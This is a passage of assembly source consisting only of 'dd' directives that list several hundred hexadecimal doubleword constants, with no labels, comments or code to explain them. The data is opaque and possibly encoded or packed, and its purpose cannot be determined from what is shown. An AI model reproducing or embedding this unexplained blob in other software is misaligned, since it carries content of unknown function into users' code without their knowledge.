0D36FBB02h, 3169297Eh, 8B0A542Ch dd 0F305763Bh, 1108401Ah, 0EB3845FFh, 96E4BC3Eh, 0FC3AF1B1h dd 47C3F712h, 0F2AF85F8h, 21B14AC3h, 96352660h, 158A6273h dd 4C42CE5Dh, 174E9C88h, 4C6DAA14h, 0BE21661h, 593005Dh dd 4ECE0BE8h, 0BD5AD402h, 879210B2h, 222D6602h, 16555D13h dd 3BE912A4h, 0D13A90FBh, 153BA272h, 15EA70Fh, 5312E9BBh dd 0AFD2A27Dh, 0EA1F8D04h, 581EEF16h, 0A2D98509h, 0F74A3914h dd 59582A14h, 3BE9496Dh, 0C2F72D5Bh, 0DFC55F7Ah, 53685902h dd 0E922A111h, 0D92AD23Ch, 0B4198CCBh, 0EAC327h, 21EF1FE7h dd 0AF06BD55h, 8BE88424h, 9B0157A7h, 0E8A8D1F5h, 9171E9E2h dd 0ED2B9B97h, 0FEFC2FD4h, 0DFFA29C7h, 0BE014F28h, 47B469ADh dd 0B65A96E8h, 0EBD5530Ah, 30E92128h, 0EB2D2C42h, 6B2C7C5Ah dd 10DCE09h, 4B2F72EEh, 0FC20ADFFh, 3D34F28Bh, 0F6820427h dd 2BDC2575h, 0F2F028C3h, 1E6561BAh, 0FEBC166Ah, 75E9C77Ch dd 0BE5A445h, 0AEA18C3h, 80FD89F5h, 0D3EC97BBh, 10C897BAh dd 810B59CAh, 0A2616C2h, 0E0297E7Dh, 5F274625h, 524F1D1Dh dd 0DDCFA4F5h, 8CF9BB0h, 4E12E781h, 4EF7D85h, 91FF5599h dd 36039666h, 0DC062D10h, 749F8C3Ah, 81ED4E55h, 62D4C3D3h dd 0A560AD28h, 0FE1907DBh, 0E5DE2956h, 0E90803EEh, 464AAE2Bh dd 92B05EAAh, 0F948024h, 0F440DB8Bh, 0C2E24BC0h, 0E8589D7Dh dd 0F275E91Ah, 2363790Ah, 157C2DE7h, 9D65B024h, 52A581D7h dd 0FE96F8B7h, 4F09A115h, 2378BA0h, 6829B838h, 0C27158D4h dd 0B4730383h, 0EBC2F36Bh, 8608605Dh, 61F571D9h, 2D81697h dd 669D1807h, 2C5E3EE9h, 501F172Bh, 0C185EC12h, 0BB07D5BAh dd 0EF97DDA2h, 41185788h, 93F66CC3h, 0FE408616h, 2C08E0C0h dd 0C6801C57h, 75F53961h, 5AB99CEEh, 0B215688h, 6F22A4EEh dd 71FF14F7h, 0B2F26E9h, 3A5DFC97h, 0F29E04ABh, 8D5B8EE8h dd 5BFC0278h, 6E6ECF7h, 0EA303CB5h, 5720F259h, 0FD544B31h dd 71529FF2h, 9F5B54A0h, 1B9E213Eh, 945D6909h, 929FDFD9h dd 0FD41BF28h, 8E4692F6h, 0F72F09CDh, 0D7E909AFh, 8A641095h dd 19222650h, 6D2B0207h, 6A7D1D64h, 7D0809A7h, 2361364Ah dd 0E743E057h, 7B024F99h, 55E6A0EFh, 0EB4AF9F0h, 0A04EA8EDh dd 0BD4A4B86h, 60A02DFBh, 73955D91h, 0E9DA4049h, 0E09E839Eh dd 0B860246Ah, 25161B37h, 0BB74290Dh, 7922A980h, 0B8F50118h dd 0E908809Fh, 6BCF6058h, 0B52CA2F1h, 18C17148h, 0C9196675h dd 520B6914h, 5B73AE80h, 50953FDBh, 68560286h, 6CD41EC3h dd 4FFA789h, 3BBCC16Ah, 844EB78h, 533F18EAh, 5120FF5h dd 280B1FE6h, 64D454AEh, 0F2B825C4h, 0F00BE181h, 39CFFC0Eh dd 0E9EC93F2h, 5EAF6025h, 0BF5FD1E5h, 40532FA3h, 1F2EBBEDh dd 520DF427h, 0BC7721DEh, 0B96F80FEh, 198F4003h, 0A2E15ED1h dd 8BEF963Bh, 5251135Dh, 0FD2CEEE6h, 0A8641307h, 42B574EEh dd 626AD982h, 4EF5FE54h, 4A53B076h, 1C3C4BD5h, 4D591F46h dd 0EF3101DEh, 5F58575Dh, 946FE67Eh, 68570517h, 0C80103F9h dd 9EE3E95Fh, 0F47AB24h, 556E781h, 0DFF722C3h, 74CDC2CCh dd 0D95577CAh, 0A909C9C9h, 0DFF6BA40h, 7E7C002h, 0DC80C7FEh dd 0C7513B3Fh, 96EB106Fh, 2128FFA4h, 6FD99D89h, 66B7D6A0h dd 0CAE720C7h, 9651553Fh, 45614F26h, 0BD009F84h, 0FC3D0AB3h dd 0A0B2106Eh, 880F4804h, 0F08EF1FAh, 23BF92BAh, 138A5CD1h dd 0FA5FFA95h, 5A43012Ch, 2F44E7B9h, 40C7159h, 0BF67A9E9h dd 0D33B8628h, 78CEC93h dd 69D15001h, 13D02CC4h, 2F7E3005h, 0D608476Eh, 83142E07h dd 21BD2896h, 6D99CAEBh, 518A4231h, 615A5F02h, 5A573h dd 260DD8F3h, 0AE09056Ah, 41AE423h, 42000AB2h, 6884E281h dd 661FCA2Ch, 82895C1Dh, 94257506h, 3771ABEBh, 0BD00D28Eh dd 0F63239AEh, 605D8003h, 13740DCCh, 14D5C80h, 0BF64ED27h dd 92A5FFD8h, 0F87D5B99h, 0EA7AC004h, 0B8863A73h, 41099798h dd 72292356h, 5A08812Ah, 45EBFFE7h, 29F20DAh, 3DDC425Bh dd 0E574D387h, 25A2C008h, 1AF51500h, 8B8510F6h, 9961ABE9h dd 8C9A4254h, 8853CA68h, 3129CB7Fh, 5D92EF9Bh, 0E20FC791h dd 7B5B289Ch, 0ABF71192h, 69911B88h, 0A9DF11C8h, 0B71901D7h dd 0B1407067h, 306206E1h, 56BE10BEh, 24BC15Ch, 0AFE94A02h dd 1E927748h, 0F8952393h, 37AA4A08h, 8C22C224h, 9B831EDCh dd 766392Ch, 210CB00Ch, 6C89110Fh, 0EE2581F1h, 2E987D68h dd 124ACED8h, 182C6F19h, 0E7B823C3h, 3086101Eh, 0DA421D97h dd 0FF59585Dh, 5155A362h, 8E90B98h, 0A5BA55E0h, 74054201h dd 0F21123BDh, 61D50820h, 5694E05Ah, 0EB7E8150h, 35431086h dd 65F0F3D9h, 29AE12EDh, 3CF3AADDh, 22017F2Fh, 2F5C8F68h dd 5FFD0030h, 0A56B5E66h, 0AA9104D2h, 92F8A3h, 97823C0h dd 6A4EE927h, 0D1599E09h, 175A4B37h, 66348027h, 476F2786h dd 0C10F5DC4h, 53BF741Ch, 5F27ADB0h, 71913967h, 2D9E103Ch dd 0BD2444F0h, 9B24E42Fh, 0BB2FF08h, 44D8215Ch, 0D4FAFB9Ch dd 0FCFC7AC0h, 0CCD46E32h, 50661EFBh, 0CA3AB988h, 4B8DA950h dd 0CF19A4EFh, 727D5E04h, 0ECC74F0Eh, 45803790h, 12EF60D1h dd 90E0C3C7h, 59B5C24Bh, 50ED277Fh, 0BA5205E9h, 0A3385509h dd 9CE10040h, 0B8653169h, 52D35EEDh, 0FC84C42Bh, 4A9EB699h dd 2DE644CCh, 1632FFE6h, 0BEE4E1DAh, 0F12A4E21h, 3848B032h dd 5E03830Fh, 0F07C4F1Fh, 1B57321h, 2D4B22D7h, 0F2F4DC52h dd 1D33DB57h, 26FE2414h, 0F700E9D7h, 5BEF6853h, 8B009DBBh dd 4E2F6B78h, 0C68D180Fh, 8EF68D83h, 13441BD4h, 0C6FD54D7h dd 19AFEA0Eh, 9A0C2EACh, 7DC7791Bh, 8C24162h, 0BC14B820h dd 0AE2064DCh, 0DAFA4216h, 7EE90B3Eh, 7B3AF59Eh, 0C64B8FC4h dd 20313DFFh, 0BDC1BF6Dh, 0DB6FADCDh, 4B16B541h, 1E69E007h dd 8107679Dh, 7C353DF7h, 708C5539h, 0AAA80506h, 1E5FD4ACh dd 411247B4h, 0E7D13B15h, 0EF2AB553h, 0F6E90760h, 0A189F9Dh dd 0BB806698h, 26621345h, 0D4E43778h, 5B02B928h, 0E6931B04h dd 0A4E4C9D9h, 8819BC32h, 983D3A90h, 400B6E68h, 0A5DCBDC0h dd 829B76D0h, 69FB0180h, 0F6C1316Ah, 0B7B86101h, 0BA17C42Ah dd 0D7E3730Eh, 6119D1AFh, 0EBD2AF6h, 50C9F04Eh, 0D7C38A16h dd 167A7E00h, 78296AF7h, 8ED50D5h, 0E7D29F5Ah, 0C4BC9A5Eh dd 0E573E84Bh, 80CC00BAh, 0CCE9F4C5h, 800D9D4Ch, 5B6F6BD7h dd 7EB2FC1h, 57165174h, 39FAF500h, 508977D2h, 82A2A0C7h dd 57BD035Fh, 0AAA40253h, 0E921957Ch, 0D8A215E2h, 0E07DC142h dd 88D27A4Eh, 32247CC3h, 3A09ED0Eh, 3F44F5D8h, 66B569EEh dd 96E30ACh, 3645EB37h, 5A14931Dh, 0DDAEC3D6h, 4CFD3B67h dd 5A73F8Ch, 0BD376A3Fh, 20EC1633h, 0ABE4C1F8h, 4158F02Ch dd 62B07E1Bh, 4F6D10BDh, 378E053Bh, 0F2C330F9h, 0E9A51742h dd 81D5C573h, 0E553582Bh, 3E132E49h, 219617A9h, 29A85078h dd 0EA0C140Ah, 72B7B04Dh, 0EEF7D80h, 0DFF6CFFEh, 6BDC7E6h dd 0C11AFF60h, 9455B753h, 6A383C83h, 65BFA1Bh, 72ECEAC1h dd 0D328C752h, 4A0CE9BCh, 256C3147h, 0BF1A05DCh, 53A6866h dd 756DF286h, 0D73E1E09h, 0EA315A43h, 0E97260D5h, 0FCE3559Bh dd 45AAC1F2h, 2330C20h, 0E92EC174h, 6B532CDEh, 206C78A5h dd 5448330Eh, 52B42D5Fh, 0A9FF5F00h, 3885904Bh, 0FB310165h dd 10721E9h, 0F150AC3Bh, 906BB4E9h, 863D6C90h, 0B39920E5h dd 469F7017h, 8402BBDh, 85E91659h, 0F0CF53CCh, 1C167E6Ah dd 6A0257D4h, 424B0C62h, 2EED0A24h, 20274283h, 31D9A873h dd 0E86B5E5Bh, 38BFB0BDh, 2C63072h, 5F33B148h, 55470900h dd 170C86BDh, 9C456357h, 12E8A7D3h, 5B95EF01h, 72F70F3Eh dd 0C16D866h, 0DEC66C0Bh, 18A72C35h, 51FB022Dh, 6DE96655h dd 310EF554h, 8C64DF0h, 93FDA97Eh, 0B41964BFh, 1E9A9647h dd 8F86682Fh, 0EBC3453Ah, 0E14BE8E2h, 59C23A24h, 31A15F2Dh dd 97FB0DE9h, 0F408E65Fh, 0D604002Bh, 4B2C685Bh, 0EF62D4B6h dd 0BFA60F02h, 82276975h, 0F54892C5h, 6807ABCFh, 0D70963C9h dd 0BB0B3445h, 293F7D1h, 2EAB38C1h, 0F35C3388h, 682A443Bh dd 260FFECh, 0E24803FCh, 8BCA3D29h, 2B6D394Eh, 0F0F974C5h dd 23A49E98h, 0C5C6830h, 40270EBBh, 45129C47h, 9AA5E75h dd 1BF58B54h, 0BAEE5EFAh, 0EA24DF3Dh, 4DE91BC3h, 0ADA9D698h dd 62E2654h, 464C49E1h, 0C3E096Ah, 34003479h, 57FD12A5h dd 0D74A682Dh, 985FD9Bh, 107FFB2Fh, 0AAB5E98Ah, 16DB7CCBh dd 83681030h, 94E984DFh, 6AB80178h, 0D1CF573Bh, 9B385C0Bh dd 29252C4h, 0AA481B68h, 6C0AEF3Ch, 58827EB8h, 0AF51E268h dd 6A190467h, 2FAB29BBh, 9255CDE0h, 50B900F9h, 412DB174h dd 6309F181h, 7462F961h, 18E9056Ch, 2DDAE319h, 0BC967878h dd 436B6F6Fh, 45B43470h, 62F335C0h, 30234B1Ch, 0B357E902h dd 6F4F869Eh, 40904B55h, 0CC1FE93h, 438D810Fh, 0A840B05Dh dd 0E4B8B052h, 68B63EF3h, 23B5C718h, 7682A946h, 33656FCBh dd 418F241h, 6CC3363Bh, 74097B8h, 1FF39589h, 6CB5927h dd 41DF08E9h, 52D2CA05h, 9BC24E56h, 775E78A0h, 6F8E2542h dd 0EA81455Eh, 26ED2458h, 5B2A02Eh, 0A31BB500h, 4AD4254Dh dd 22D5A97h, 6875376Dh, 125F3240h, 1073205Ch, 2251B1DCh dd 0A8C0D0DCh, 8C0345FCh, 0D457AFCBh, 0BFD3D285h, 0E9057F24h dd 0C8AADBCAh, 892D0F68h, 790E09D5h, 0C234992Bh, 13F66AC7h dd 0D2D0A94Ah, 174D5E01h, 8E4319E4h, 3E98B13Ch, 4428E160h dd 0D1703476h, 7A9F749Dh, 4E914CF5h, 4877834Ah, 2AB4D6B1h dd 91976DE8h, 4531E7Ch, 21E09C00h, 0BF5E08C0h, 42ABD34Bh dd 6F510B87h, 95491069h, 43730528h, 0ADCD27E9h, 0E858135Ch dd 533FD8AFh, 0D2D38825h, 0E9E82577h, 0BF1C0772h, 4DC947DBh dd 42EE5C29h, 735FE2B4h, 0CBD28B17h, 18B008E8h, 0A9585D82h dd 5EA76812h, 691054B3h, 0C3800925h, 0FB60D774h, 1E1D293h dd 0B0963EB3h, 30FE84Fh, 0A12CC82Dh, 3FFAB30h, 57EC0503h dd 44F85B1Dh, 234BD6C8h, 973CFADh, 379C3DA7h, 0E1915C02h dd 69CC656h, 0E97E6302h, 1D65FC14h, 0B5C8895Ah, 8C3193D9h dd 0C1002806h, 239003E3h, 13CBE75Dh, 6DF66968h, 4B615404h dd 5B0B8140h, 0DBD21144h, 0AF07E629h, 0B44B7610h, 2D5CD0FDh dd 713131DCh, 30E63672h, 53D8DA12h, 5851C396h, 0A5F2A7FCh dd 0E1782FBEh, 0C1CC092Ch, 9B441D9Eh, 0E7C35F26h, 71A4808Eh dd 0C6DF62F7h, 5600240Eh, 2EE810BEh, 134CB253h, 96A8E44Ah dd 58314445h, 0CABA2C3Eh, 6F4D5705h, 8E02E6C1h, 7238A385h dd 0C7F013Fh, 5DE93436h, 52236E5Ch, 7C37DA68h, 0E952C071h dd 59BDF6D9h, 0AC688468h, 0B5B7EC50h, 0E90CA7E6h, 5B3AFBC5h dd 0ADBFF19Ch, 87A5C58h, 0B901B11Ah, 4ADF1DBCh, 2DCC1531h dd 0FC014AC5h, 0A40B4AE3h, 6854A156h, 377622EDh, 609CE318h dd 8F9E295Fh, 54F698BDh dd 80949F81h, 0B75C74B2h, 874F2DA1h, 0A6F3AD2Ch, 0D01E0EC1h dd 54EC0E7h, 8898EF6Ah, 500418D1h, 46826FB4h, 9567CC02h dd 7F5FC249h, 2C86A7B8h, 0BF0452E1h, 73D0395Bh, 49D21FABh dd 0C644D9DDh, 698BFD9Ch, 18C7EE91h, 0C12F8268h, 0DF82B384h dd 0C8EFBC49h, 0F5CBF53h, 0BB507520h, 0DF130108h, 62CA5D5Bh dd 33F4192h, 307E511Ch, 721768A0h, 0C2AE61D7h, 0F975CB41h dd 54C45A57h, 3BC02082h, 6C4B07E9h, 0E98BD58Ch, 4BD401h dd 0F07DCA80h, 0B8F14A35h, 6BC88419h, 40B91182h, 1C7AFD8Fh dd 16E9F931h, 9E652A1h, 0BA58A403h, 0C4994551h, 6D60C313h dd 0FA8FEC0Fh, 55E8FBBEh, 20252778h, 8A0AE7Eh, 0E96310B7h dd 908FFB7Dh, 1221D905h, 2AC60141h, 0EBC402A2h, 9EA8AB7h dd 0F927C268h, 67218941h, 0E953C218h, 9E40CB29h, 4689201Eh dd 8C55E033h, 883B83A1h, 0B202482Fh, 0D6616AD0h, 3DFCDAE8h dd 0CD66F769h, 903D4717h, 576C61BEh, 5FFE3053h, 71F26AEFh dd 0E49A3186h, 0D0915D4Eh, 8D7BB210h, 0FAA1E463h, 0CD514EBEh dd 0FBF5126Ah, 0F3213904h, 28F1D985h, 8BBC5EEAh, 820FB570h dd 0B8F5EB2Bh, 306FDD86h, 940C02BFh, 21487D4Ch, 6384040Ah dd 0DAB45ED8h, 519B16C5h, 0EBACF4C2h, 0EE7F210Fh, 3EC32D10h dd 0D1C0806h, 63793840h, 0E92B000Ch, 0C5C0C00Fh, 612308F5h dd 750CC056h, 89DFA9A6h, 5DEE2Dh, 0BCB850C8h, 0C47D25DDh dd 89279174h, 75A0E2F6h, 0E09DC54Eh, 802F9B48h, 6EBAECC0h dd 9FD48A20h, 0B93D7668h, 76EC10D3h, 5098BF05h, 1EA68283h dd 0C8573DCAh, 80F3066Ch, 2E2D8C0Fh, 58FE7C88h, 19DD4CEFh dd 0DCC8D140h, 90F7573Eh, 115F4C0Ah, 92327C09h, 0C50F8ADEh dd 0DA3E4C76h, 0D1C41345h, 216BC27Fh, 0A7A14577h, 529D9DF8h dd 0FA65EC99h, 0D53E4C9Eh, 9526BA02h, 4FD0019Ah, 401D314Bh dd 0F6EDD549h, 81BDE5EDh, 2A67AFDDh, 256100F0h, 0BD40AF6h dd 82F65C25h, 7038CDBAh, 5A1185DFh, 0B577A8E8h, 6804DD51h dd 66FA30FCh, 6C4E14A0h, 1B26BF8h, 12E66CDDh, 0AF3C3568h dd 24E9EA2Ch, 81F2E5A9h, 0A61CC6CFh, 1DC36A77h, 0AF140106h dd 0E92D590Ah, 0F6E0500Bh, 0B52551D6h, 19217D6Bh, 0DEB7E98Bh dd 90A7E8F9h, 808FCD5Dh, 0C654468h, 5BA80879h, 8639E84Fh dd 7F409145h, 0A0AF5997h, 659E257Bh, 75667820h, 81000182h dd 317DBEE2h, 97CA8733h, 52BCB58h, 0DF028719h, 7466D046h dd 0F9E904EDh, 7A13ED33h, 793A1212h, 4387B703h, 72B8B442h dd 0FACF0116h, 3168DF9Ch, 60BB2381h, 6DF27EDEh, 0E677CC92h dd 0DF6C4405h, 3CC04E18h, 0A698691h, 7A1668C7h, 9BBD60E3h dd 31125833h, 0BF05E829h, 0A0205F0h, 6CDB59E9h, 5D0C0DB5h dd 6F7A0550h, 0AAB4B2F3h, 0DBF1746h, 0EFE91C43h, 5DF42D2Ah dd 173A2251h, 0E5DEF881h, 0EC6656A0h, 0E8855F36h, 8B2D0089h dd 0E93F8857h, 8A944DCFh, 80DF2C6Bh, 78395EB8h, 46680001h dd 0E92FEB60h, 689C69FDh, 0E91ED64Bh, 0B468D800h, 654A9236h dd 492AEE92h, 297F5B62h, 0CD623EB2h, 255756E3h, 5CA5C3FCh dd 522EE2A4h, 0C120B202h, 0E8256C8h, 66ABCEBFh, 6456E042h dd 682CEE01h, 0AC6B7A84h, 3E08412Eh, 2848EFB8h, 0FD528F05h dd 67C0FF6Ah, 58554B93h, 0D3057E64h, 0FE13B769h, 30086850h dd 7B160E58h, 0CA33B0EDh, 2408EA1Eh, 61DE025Eh, 22D530ADh dd 57A459Bh, 0BB539466h, 31EB8785h, 0F50FE7A9h, 0E2C770E3h dd 6CD4C141h, 78989773h, 5F82F520h, 6817357Ah, 0F1357710h dd 33B2EFC7h, 2BE75D23h, 0DC12E91Eh, 5D01E40h, 7CB8CF61h dd 477025A0h, 0DF4BE8A2h, 4F8B6009h, 44FC2823h, 0F0AF77D4h dd 0E2295A45h, 792F98BDh, 0AA23FC61h, 7A2280F4h, 90CC211h dd 92E9E6D1h, 0F7802960h, 0DB7BBBB0h, 0C2608282h, 41F3D2C6h dd 9DFD2A72h, 25CA0092h, 0F74D324Bh, 4645D52Eh, 1DE9A913h dd 9C966C30h, 6DF9056Ah, 9DA41024h, 69C45730h, 7CB08A31h dd 4A364649h, 0B31A34BBh, 7250309Ah, 4A6419EEh, 1057A35Bh dd 0BB00E725h, 2E330A44h, 0D312CB81h, 2100A25Fh, 0B416E8F3h dd 9E3F851h, 0E014E65h, 18C43CFFh, 0A6F1DE9h, 8702C3BAh dd 0AA683BAFh, 88205959h, 0FE0DD029h, 523004C0h, 4B0D7DB6h dd 5CCE0DDh, 9B6FC40Fh, 0DD80953h, 710563EDh, 78963F1Ch dd 94C55EECh, 5630AA65h, 0E15E5868h, 0F215B86Bh, 3CD2DF52h dd 88D7F60Bh, 6C716F8h, 0E8C0440Ch, 0B213A807h, 0ED0330D5h dd 0DFC1805Ah, 0B450670Eh, 5BE4045Fh, 460493EAh, 28AF0603h dd 1D7AE9E1h, 0CBDF294Fh, 7D72D43Dh, 0D0177B13h, 60EF00EEh dd 0E96FC008h, 1D786859h, 0F2CBFE89h, 26415AD1h, 15151FAh dd 630A3C02h, 0F6C56E58h, 1290401Dh, 7B8E2502h, 57E12D4Fh dd 2902CE7h, 9638ED05h, 3478F75Dh, 0A5F657E6h, 830F2405h dd 9CEE8EF1h, 0F017800Fh, 8CFB5451h, 872F5A99h, 1894F734h dd 6044B398h, 0EDC9F0Ch, 602064Fh, 0DDEF05F7h, 0AA74CC8Dh dd 0A8AA9184h, 0F712D894h, 4104D2DBh, 0B4E1FE3h, 27C07B40h dd 9A9BE28Dh, 440E2732h, 66EF3276h, 94F66C6h, 0BAC380E3h dd 9E61A510h, 0F2181399h, 9F315C75h, 0DCF2F3E3h, 86A7609h dd 482C2D4Ah, 8307021Ah, 0C09412C0h, 16D701FCh, 0C9D483E9h dd 510DC032h, 0B8595634h, 1CE90702h, 4947F191h, 1EEEEC00h dd 1C403727h, 0BAE90CEh, 452349F5h, 90F89ACCh, 55AE2E12h dd 2964EA01h, 0FD2A58BBh, 4E400792h, 0D79E1D12h, 620012A6h dd 0C15B8B20h, 3BD07E1h, 16821D6Fh, 0E8A2A1F4h, 0B7B9C047h dd 903D1C2Ah, 40952E04h, 0CA010752h, 0ACD355E9h, 7C5DA2C0h dd 59555255h, 0BFE96106h, 73402F4Fh, 0B601AAE3h, 40F5A25Ch dd 2DE53C39h, 8375D333h, 12AAAECBh, 0BB02EC3Fh, 9DB1E7D0h dd 90E17AC0h, 16C24B70h, 6D2E086h, 83CC9E4Ah, 4310595Bh dd 6A15384h, 4A4A665Ah, 59D9F0C5h, 414B7E97h, 2A123FE9h dd 194881E7h, 5A884C10h, 4EA6A986h, 5FAA0B05h, 0E1889D76h dd 0B275254Bh, 0C00C6154h, 80B68004h, 6105DD68h, 9E9A870Fh dd 63440C1Dh, 20FF7AC8h, 2AE5BE41h, 31168409h, 0E7EFEF1h dd 75CB1743h, 0CF6B487Fh, 0BE6F1D14h, 0F40FBD2Dh, 95723F77h dd 4C1E62Dh, 8EC8E953h, 0F38F62BEh, 16447977h, 0AE548569h dd 6882108Bh, 95962EAh, 0B8529CBh, 0B06D9C8h, 0F9638AE9h dd 187C4DD2h, 80467169h, 0D8F64CB0h, 0BBE6820Fh, 44BEA0D2h dd 27E23528h, 0E98AF170h, 3D4D0BBBh, 0A3C12DA9h, 2C727855h dd 4F963EFEh, 0DAF76FC1h, 62D21E20h, 91EB8F3Dh, 19398F6h dd 7C0CBF86h, 5B57258Fh, 18932E1h, 0CD3A9E77h, 0FEC630A1h dd 0F02F1E9Eh, 61DCB761h, 17EC64Fh, 3F4722EBh, 40B34FA0h dd 5E3C013h, 601530Ch, 7C33B0FFh, 3FCBA39Ah, 0C2870606h dd 50DAF649h, 0D3207CEAh, 0D2CE913h, 969E6621h, 0FF25D83Bh dd 0B3DB9062h, 0E2D60997h, 995166B3h, 2D6E0BEBh, 0FC1A991Fh dd 1847E806h, 0EE065Dh, 163CE96Eh, 4532CC9h, 9980A9A2h dd 498A0F04h, 445E231Dh, 5149CE3h, 71C0C88Bh, 2D020CF2h dd 53FC039Ah, 40B80805h, 6355C7BEh, 0C0E157Ah, 330E1DADh dd 80033F5h, 95212EE9h, 49445Bh, 3D22F08Dh, 923AED0Bh dd 367EF122h, 0C28B920h, 6A7CB1E6h, 59DB460h, 4FF87686h dd 17E5C446h, 0EC64FA07h, 0F5342091h, 0D2DF5B02h, 68F24125h dd 19FD4FFCh, 0FB830600h dd 42702D1Bh, 1453A05h, 70705F0h, 940980E9h, 0E156B731h dd 0FD9D2709h, 0AD9100EEh, 0F7060BC9h, 0E9055AE5h, 91E482F7h dd 0CEE657Ch, 4FAF0043h, 0F6E7E0Eh, 939892Dh, 8C7D41Bh dd 0A3882069h, 0E5810308h, 25C216D3h, 0F48ACC60h, 8DC246B4h dd 0C92D05DEh, 586CD4DBh, 0B04A163Fh, 0B85061F8h, 9A650778h dd 0D3C5296Dh, 0AA84B318h, 0B34C998Bh, 0ED800B38h, 23872D69h dd 1144209h, 4B0705D0h, 1FB1FFACh, 73D7C274h, 6B759AB1h dd 3F28E55Dh, 2062712Dh, 0C1A8D155h, 0A6E4CCE9h, 0B30BE4C2h dd 0A4E07B80h, 6EE95890h, 9AD9085Ah, 122AB9E9h, 0B0CEEFE4h dd 0B056E912h, 0D3EC5ED7h, 1328A74Dh, 0CF0A59C8h, 8D41F869h dd 0BC618B44h, 4766DDD2h, 99A8E913h, 0CFED6340h, 0F6658911h dd 0B70A5F72h, 913502EBh, 0C169F175h, 0CA281640h, 8BEAB35Ah dd 43180256h, 0AEBBE8E8h, 0BE89A888h, 90600250h, 5EF02995h dd 0ECE93EE0h, 0EBFF7060h, 7A782Eh, 5B51C781h, 0FE291FF0h dd 4228E925h, 7D95D98h, 0C4FE4F97h, 3368BA3Dh, 97EA704Bh dd 0B67EE5DCh, 382C4E43h, 191AFCA1h, 0D5B448E4h, 90D2DE58h dd 9442CAABh, 8ED91308h, 0F9293CCh, 5D07DF48h, 0D1C984C4h dd 0C6C5BFBh, 2F59EEBBh, 795617C2h, 1CAC1D15h, 822D40B1h dd 7ED4C4FBh, 0BC18E225h, 0A2720009h, 0BD3CCA3Fh, 40B013E8h dd 0C471230h, 40581961h, 7010C07Fh, 0E63F5BF5h, 0E9952183h dd 4A2DB59Ch, 74138929h, 20EAD98h, 0FEDE86A4h, 437444F6h dd 87AD1043h, 0B631BA5Fh, 1A32520Ah, 8C576107h, 62F56332h dd 0DE20C628h, 422AFFBEh, 30C23F99h, 0F3515DC8h, 8C9856A7h dd 29226BC1h, 0CB6EF345h, 13C25A25h, 183492D0h, 256851A3h dd 0BB667967h, 9F82C220h, 0ED01E946h, 3C7C7F03h, 9F44F529h dd 0FD5E0809h, 1C32C7B4h, 0F5C541A2h, 0BEC2366Ah, 4D36D22Ah dd 0CCB43B5Eh, 56A4975Bh, 0EAF9D573h, 990CA2DCh, 0DAE6E231h dd 0C2C10102h, 0FEE45F81h, 91027AFBh, 74FD895Ah, 0E6825289h dd 50048D55h, 5D95BDABh, 0A8131252h, 0EE4D1B4h, 4F41D078h dd 0F4D7F725h, 8716220Bh, 2CA1BE2Fh, 0CA5B072Ch, 0EDF85FFAh dd 0C51074D0h, 3CB45BD2h, 482F0BEAh, 0B95241D4h, 7DE90880h dd 0B9428095h, 95D58BDh, 59CA0933h, 5C273865h, 0DFBD5859h dd 0E9BBFF05h, 38B591CAh, 0EE830480h, 0C8B95101h, 29796904h dd 60ACB7E9h, 0B8AD274Ah, 0BC58CBB9h, 0E07C0D32h, 98DC9549h dd 80F16C08h, 425C6DF3h, 8D160F2Fh, 849291B5h, 8819E9F6h dd 0FF83246Bh, 0B15FEB8Ah, 0ACF63E3Eh, 52CF6630h, 3DBAE3E9h dd 42CA6818h, 0A36B7035h, 1BEAE16Dh, 23E0814Dh, 20A12849h dd 0EFE90399h, 29EC6A1Fh, 0F289BA16h, 94B788FCh, 0E162901Ah dd 803B4E9Ah, 0B0F10231h, 60267C6Ah, 2E30EDFAh, 247445ACh dd 2A6109DAh, 9CE04D62h, 5D628868h, 0B75DC51h, 26E80000h dd 44C10E09h, 345FF3F4h, 0AD2DAE2Bh, 118CAC3Bh, 0BB02AE7Eh dd 1AB133E3h, 0CD01ED60h, 0D8238F32h, 0B1B24320h, 8521D929h dd 9D20807h, 0FD9249B4h, 0C6C7FADFh, 9D92FE83h, 0F380B801h dd 3AE3CDD6h, 12A53E08h, 0B13565Bh, 6A7F05EBh, 0EC98402Bh dd 6FED000Fh, 3068CD81h, 0E4ED16CFh, 1096EF4h, 0ABA9E913h dd 0E9657185h, 73685BA2h, 57298B5Fh, 0BD3F7CC5h, 0FCE35EB0h dd 0B5D0AAD7h, 99173E68h, 0C459AF69h, 6F77E985h, 0C65B64BEh dd 0C49CE21Bh, 25885E58h, 0E55150C5h, 22E06189h, 0D404823Ch dd 0A3F62EAh, 61F78100h, 372D5C50h, 17C26074h, 0FB5240C1h dd 0BE226F7Bh, 0D7C50670h, 0C9DBF672h, 9D7F5AB5h, 5482E173h dd 809866E9h, 50454A56h, 973A9A6Dh, 81621051h, 60F6D4CCh dd 7EFC011h, 0E96C01BFh, 85BDAF2Bh, 120D1CEh, 0EDB770F7h dd 504656B4h, 0C60D5CC6h, 81C1E59Eh, 6C1D7049h, 4CC39697h dd 0D98B715Fh, 77FFFC21h, 8417E02Ch, 937BFC97h, 2D90B06Ah dd 0E8944B09h, 1BA880B4h, 7667D24Ah, 89ED001h, 179FA85Eh dd 888DD8C2h, 0FABE2ECDh, 169949F9h, 0A33EA817h, 0BC2F1070h dd 0B6483075h, 51182C0Ah, 826B117h, 79DE72FAh, 14D09362h dd 0D576429Dh, 0C864CC68h, 88C6D682h, 5C1383B0h, 0FCEB0E81h dd 0A515D162h, 7BD7FBh, 38D45951h, 9231860Fh, 3DE3BCA8h dd 7C462609h, 2AED60F7h, 63B92E72h, 0A65C4CFh, 7D18BDACh dd 4D3B30Ch, 0E3C0C3FEh, 801E8002h, 6CCA0CBh, 1C888630h dd 1F5BDA28h, 0C0C29DEAh, 0B3535159h, 4027E9E6h, 304E9833h dd 706D2C0Ah, 43640240h, 95FA61F8h, 0B5E90880h, 35A26254h dd 0B00BF7D3h, 290C60E3h, 0F50505E8h, 0E45FCF4Fh, 254044ACh dd 0C180245Bh, 0BF69097Dh, 318A9748h, 2C8705Ch, 6274AEE6h dd 4DA36025h, 18013516h, 285A50Ch, 0F0093E2h, 97E26E89h dd 0CA16FC51h, 0A3E96380h, 0CB1594AEh, 71DFDCC2h, 0A3A6426Fh dd 14AB2804h, 220007D9h, 0FC1C980h, 8F9E6788h, 8BAEA127h dd 0C600C325h, 0D0BFC2C4h, 0CAD2490Ah, 46107F4Ch, 2AC4ECCh dd 0AD53CBDEh, 0D5F224h, 6F614EF5h, 0E7D69F55h, 1CC92D58h dd 0C1729256h, 5370A568h, 16BD201Dh, 41CD992h, 0C3135A2Dh dd 